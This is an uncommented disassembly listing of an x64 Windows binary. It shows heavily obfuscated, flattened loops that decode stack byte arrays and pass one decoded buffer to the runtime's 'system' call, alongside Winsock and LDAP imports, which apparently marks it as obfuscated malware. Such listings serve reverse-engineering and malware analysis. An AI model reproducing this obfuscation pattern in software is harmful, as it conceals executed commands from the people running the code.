lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fcb62
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fcb3e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fcb1a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fcae4
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400fc6ef
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400fc6c7
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400fc69a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fc66c
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400fc648
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400fc620
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x64]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400fcd8f
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400fcd6b
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400fc533
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400fc518
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400fc4fd
lea rbx, [r8 + 6]
lea r8, [rbx + 9]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400fc5e6
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400fc5c2
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400fc59a
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400fc576
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400fc54e
lea rbx, [r8 + 9]
lea r8, [rbx + 1]
jmp 0x1400fc420
lea rcx, [r10 + r14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
jmp 0x1400fc413
lea rcx, [r10 + r15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
jmp 0x1400fc3a6
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x1400fc336
movabs rdx, 0x2b9deacf8a8d5f20
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fcc71
movabs rcx, 0x3178be468c053456
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x1400fcc74
movabs rdx, 0x375391bd8d7d098c
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fccb3
movabs rcx, 0x3d2e65348ef4dec2
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x1400fcce7
movabs rdx, 0x430938ab906cb3f8
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2f0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fc323
movabs rdx, 0xa6914392a961dc8e
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fcc71
movabs rcx, 0xac6c1709aad9b1c4
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x1400fcc49
movabs rdx, 0xb246ea80ac5186fa
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400fc323
movabs rcx, 0xb821bdf7adc95c30
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x1400fc323
movabs rdx, 0xbdfc916eaf413166
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fcbcc
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x1400fc7bc
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x1400fcab4
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400fc8cf
movabs rcx, 0xcd6dce5253391911
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
cmp rbx, 0x200
jae 0x1400fca84
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400fc9cf
movabs rcx, 0xff421f0c3ceda5a
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
cmp r8, 0x10
jb 0x1400fca74
movabs rcx, 0xd567df4ab520863e
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x64]
jmp 0x1400fcbcc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fc7ff
movabs rdx, 0x850ca73ce12b8292
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2f0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fc323
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fc830
movabs rdx, 0x67c685e9d9d45884
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fcc49
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400fc864
movabs rcx, 0x61ebb272d85c834e
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x22
dec r10
inc r10
jmp 0x1400fc323
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fc89e
movabs rdx, 0x5c10defbd6e4ae18
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400fc323
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fc715
movabs rcx, 0x56360b84d56cd8e2
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x1400fcbcc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fc8fc
movabs rcx, 0xc792fadb51c143db
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
jmp 0x1400fcbcc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fc92f
movabs rcx, 0xbbdd53ed4ed1996f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 9
dec r10
inc r10
jmp 0x1400fc323
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fc95d
movabs rcx, 0xaa4cd9884a6a19cd
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x65
jmp 0x1400fcc74
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fc98b
movabs rdx, 0xa472061148f24497
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
jmp 0x1400fccb0
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400fc752
movabs rcx, 0x98bc5f2346029a2b
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2d
movzx eax, byte [rbp + r10 + 0x2f0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fc323
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fca12
movabs rdx, 0xa194e79c2570524
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2f0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fc323
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fca3f
movabs rcx, 0xfe63a78bbf675ab8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x1400fccb3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400fc78b
movabs rdx, 0xecd32d26baffdb16
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fcc49
mov byte [rbp + r10 + 0x2f0], dil
inc r10
jmp 0x1400fc323
movabs rdx, 0xcf8d0bd3b3a8b108
add rdx, r10
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x2f0]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x1400fcc49
movabs rdx, 0xc9b2385cb230dbd2
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x2f0]
add dil, dl
add dil, r9b
jmp 0x1400fccb3
movabs rcx, 0xdd4e46f635f4263
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
movzx eax, byte [rbp + r10 + 0x2f0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fc323
movabs rcx, 0x198a8b5d664eeccf
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x57
jmp 0x1400fccb3
movabs rcx, 0x1f655ed467c6c205
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
jmp 0x1400fcc74
movabs rcx, 0x30f5d9396c2e41a7
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6f
dec r10
inc r10
jmp 0x1400fc323
movabs rcx, 0x3cab80276f1dec13
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
jmp 0x1400fcbcc
movabs rcx, 0x48612715720d967f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
movabs rcx, 0x527a758f34649ba3
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x75
add cl, r9b
mov byte [rbp + r10 + 0x2f0], cl
inc r8
dec r10
inc r10
jmp 0x1400fc323
movabs rcx, 0x5416ce0374fd40eb
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6d
dec r10
inc r10
jmp 0x1400fc323
movabs rcx, 0x59f1a17a76751621
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x19
movabs rcx, 0x4c9fa21832ecc66d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 5
add cl, r9b
add cl, dil
mov byte [rbp + r10 + 0x2f0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400fc323
mov r9, r11
movabs rdx, 0x6b821bdf7adc95c3
add rdx, r10
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x55
add dil, dl
movabs rdx, 0x46c4cea13174f137
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x2f0], al
inc r8
add rax, r8
sub r10, rax
movabs rcx, 0xc3d764e5b0b9069c
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x44
add r9b, cl
mov byte [rbp + r10 + 0x2f0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2f0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fc323
movabs rcx, 0x7737c2cd7dcc402f
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x49
movzx eax, byte [rbp + r10 + 0x2f0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fc323
movabs rcx, 0xfaa811961e5f1d79
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4f
jmp 0x1400fc320
movabs rcx, 0x82e50d1fd6f2af
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x37
jmp 0x1400fc310
lea rdx, [rbp + 0x17e62cc]
jmp 0x1400fcdcd
lea rdx, [rbp + 0x1427831]
jmp 0x1400fcdcd
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.140046ad0
mov rcx, rax
call fcn.1400e07a0
lea rcx, [0x140276940]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140437790]
call fcn.1400c9be0
test al, al
jne 0x1401073f5
movzx edx, byte [rbp + 0x530]
mov qword [rbp + 0x540], rdx
movzx r13d, byte [rbp + 0x530]
movzx edx, byte [rbp + 0x530]
mov qword [rbp + 0x548], rdx
movzx r15d, byte [rbp + 0x530]
movzx r14d, byte [rbp + 0x530]
movzx r12d, byte [rbp + 0x530]
movzx r11d, byte [rbp + 0x530]
mov qword [rsp + 0x28], r11
movzx edx, byte [rbp + 0x530]
mov qword [rsp + 0x30], rdx
movzx r8d, byte [rbp + 0x530]
mov qword [rsp + 0x38], r8
movzx edx, byte [rbp + 0x530]
mov qword [rsp + 0x40], rdx
movzx edi, byte [rbp + 0x530]
movzx esi, byte [rbp + 0x530]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28], 0
mov byte [rbp + 0x3c0], 0x7a
mov byte [rbp + 0x3c1], 0xa8
mov byte [rbp + 0x3c2], 0x5b
mov byte [rbp + 0x3c3], 0x5f
mov byte [rbp + 0x3c4], 0x51
mov byte [rbp + 0x3c5], 0x53
mov byte [rbp + 0x3c6], 0x55
mov byte [rbp + 0x3c7], Ordinal_35
mov byte [rbp + 0x3c8], 0x7b
mov byte [rbp + 0x3c9], Ordinal_79
mov byte [rbp + 0x3ca], 0x47
mov byte [rbp + 0x3cb], 0x40
mov byte [rbp + 0x3cc], 0xb6
mov byte [rbp + 0x3cd], 5
mov byte [rbp + 0x3ce], 0x60
mov byte [rbp + 0x3cf], 0xb5
mov byte [rbp + 0x3d0], Ordinal_79
mov byte [rbp + 0x3d1], 0xbf
mov byte [rbp + 0x3d2], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3d3], 0xb9
mov byte [rbp + 0x3d4], 0xbf
mov byte [rbp + 0x3d5], reloc.WS2_32.dll_listen
mov byte [rbp + 0x3d6], 0x51
mov byte [rbp + 0x3d7], 0x54
mov byte [rbp + 0x3d8], WSAGetLastError
mov byte [rbp + 0x3d9], Ordinal_41
mov byte [rbp + 0x3da], 1
mov byte [rbp + 0x3db], Ordinal_35
mov byte [rbp + 0x3dc], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x3dd], Ordinal_46
mov byte [rbp + 0x3de], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3df], recvfrom
mov byte [rbp + 0x3e0], 0xca
mov byte [rbp + 0x3e1], 0x79
mov byte [rbp + 0x3e2], 0x58
xor eax, eax
movups xmmword [rbp + 0x3e3], xmm0
mov qword [rbp + 0x3f3], rax
mov word [rbp + 0x3fb], ax
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop word [rax + rax]
xor r9d, r9d
cmp r9, 0x3d
jae 0x1400fdd29
movzx r10d, byte [rbp + r9 + 0x3c0]
mov rdx, r10
nop dword [rax]
cmp rbx, r9
ja 0x1400fdd20
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400fd016
movabs r11, 0x5208840e6a1f9627
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, rdx
sub r13b, 0x11
jmp 0x1400fd050
je 0x1400fdc98
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fdbf5
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400fdbc7
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400fdb73
movabs r11, 0x5208840e6a1f9627
nop dword [rax]
cmp r8, r9
ja 0x1400fdd17
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x1400fd08a
movabs rdx, 0xbab2d52eb4975133
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x65
add r13b, dl
jmp 0x1400fd0d0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fdb4e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fdb13
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fdaf1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400fdac9
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400fda92
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x1400fd73d
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400fd719
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400fd6eb
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fd6bc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fd699
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400fd670
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fd647
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400fd61f
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400fd5f7
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400fd5c0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400fd0e0
lea rbx, [r8 + 1]
lea r8, [rbx + 3]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400fdcf2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400fdccd
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400fd2da
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400fd2b6
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400fd292
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400fd55a
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400fd4fc
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400fd4a6
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400fd476
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400fd0e0
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 9]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400fd440
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400fd41c
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400fd3f8
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400fd3d4
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400fd3ab
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400fd382
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400fd353
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400fd325
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400fd301
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400fd0e0
lea rbx, [r8 + 2]
lea r8, [rbx + 4]
jmp 0x1400fd0e0
movabs rcx, 0x8a9fb3d39f26872d
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x3b
jmp 0x1400fd0d0
movabs rcx, 0xe68eabb6cae75adf
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x19
jmp 0x1400fd050
movabs rdx, 0x427da399f6a82e91
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
add dl, 9
add r13b, dl
jmp 0x1400fcfd6
movabs rcx, 0xd596a975a4ba8998
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x28
jmp 0x1400fdb92
movabs rcx, 0x3185a158d07b5d4a
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 6
inc r8
dec r9
inc r9
jmp 0x1400fcfc3
movabs rdx, 0x8d74993bfc3c30fc
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
dec r9
inc r9
jmp 0x1400fcfc3
movabs rdx, 0xe963911f27fd04ae
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, dl
jmp 0x1400fda35
movabs rdx, 0x4552890253bdd860
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, dl
jmp 0x1400fdb32
movabs rcx, 0xa14180e57f7eac12
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x7e
jmp 0x1400fdb35
movabs rcx, 0xfd3078c8ab3f7fc4
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x5c
jmp 0x1400fdc16
movabs rcx, 0x591f70abd7005376
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x3a
jmp 0x1400fdc4a
movabs rcx, 0xb50e688f02c12728
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x18
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fcfc3
movabs rcx, 0x1ae3d446f0233865
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
add r13b, 0x3d
mov byte [rbp + r9 + 0x3c0], r13b
inc r9
jmp 0x1400fcfc3
movabs rdx, 0x76d2cc2a1be40c17
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
add r13b, 0x5f
add r13b, dl
cmp r8, 0x80
jb 0x1400fd496
movabs rdx, 0xaf649dbe4895d38a
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r13d, [rcx + rcx]
jmp 0x1400fdb92
movabs rdx, 0xd2c1c40d47a4dfc9
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x7f
add r13b, dl
cmp rbx, 0x20
jae 0x1400fda09
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x1400fd8cf
movabs rcx, 0x46ba4c9dfe1e187e
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x72
jmp 0x1400fd4c9
movabs rdx, 0x2eb0bbf07365b37b
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x5d
add r13b, dl
lea rax, [r8 + rbx]
cmp rax, 6
je 0x1400fda62
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400fd808
movabs rdx, 0x8c07776f4986c74b
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0xd
jmp 0x1400fd51c
movabs rcx, 0x6030ff183b8be732
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x5e
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fcfc3
movabs rdx, 0xbc1ff6fb674cbae4
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x3c
add r13b, dl
jmp 0x1400fdc4a
movabs rdx, 0x180eeede930d8e96
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0x1a
add r13b, dl
jmp 0x1400fdc16
movabs rdx, 0x73fde6c1bece6248
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
jmp 0x1400fdb35
movabs rdx, 0xcfecdea4ea8f35fa
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
jmp 0x1400fdb32
movabs rdx, 0x2bdbd688165009ac
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
jmp 0x1400fda2f
movabs rdx, 0x87cace6b4210dd5e
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
dec r9
inc r9
jmp 0x1400fcfc3
movabs rcx, 0xe3b9c64e6dd1b110
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x70
inc r8
dec r9
inc r9
jmp 0x1400fcfc3
movabs rcx, 0x3fa8be31999284c2
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x4e
jmp 0x1400fdb92
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x1400fd761
lea rcx, [r9 + r11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x11
jmp 0x1400fd57d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fd7a5
movabs rdx, 0x7565aa5d692ea266
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, dl
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400fcfc3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fd7d6
movabs rdx, 0xbd87ba9711acfb02
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
sub r13b, 0xe
add r13b, dl
jmp 0x1400fdc16
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fd57d
movabs rcx, 0x6198c2b3e5ec2750
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x30
jmp 0x1400fdb35
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fd835
movabs rcx, 0x30187f8c1dc5f399
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r13d, [r10 + rcx]
sub r13b, 0x2f
jmp 0x1400fdb92
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fd869
movabs rcx, 0x783a8fc5c6444c35
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r13d, [rcx + r10]
sub r13b, 0x73
dec r9
inc r9
jmp 0x1400fcfc3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fd89a
movabs rdx, 0x1c4b97e29a837883
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
add r13b, 0x6b
add r13b, dl
jmp 0x1400fda35
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400fd51f
movabs rdx, 0x87eb0391740fd6d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r13d, r10b
sub r13b, al
add r13b, 5
add r13b, dl
jmp 0x1400fdc16
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fd913
movabs rdx, 0xeacb54bad25d44cc
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r10b
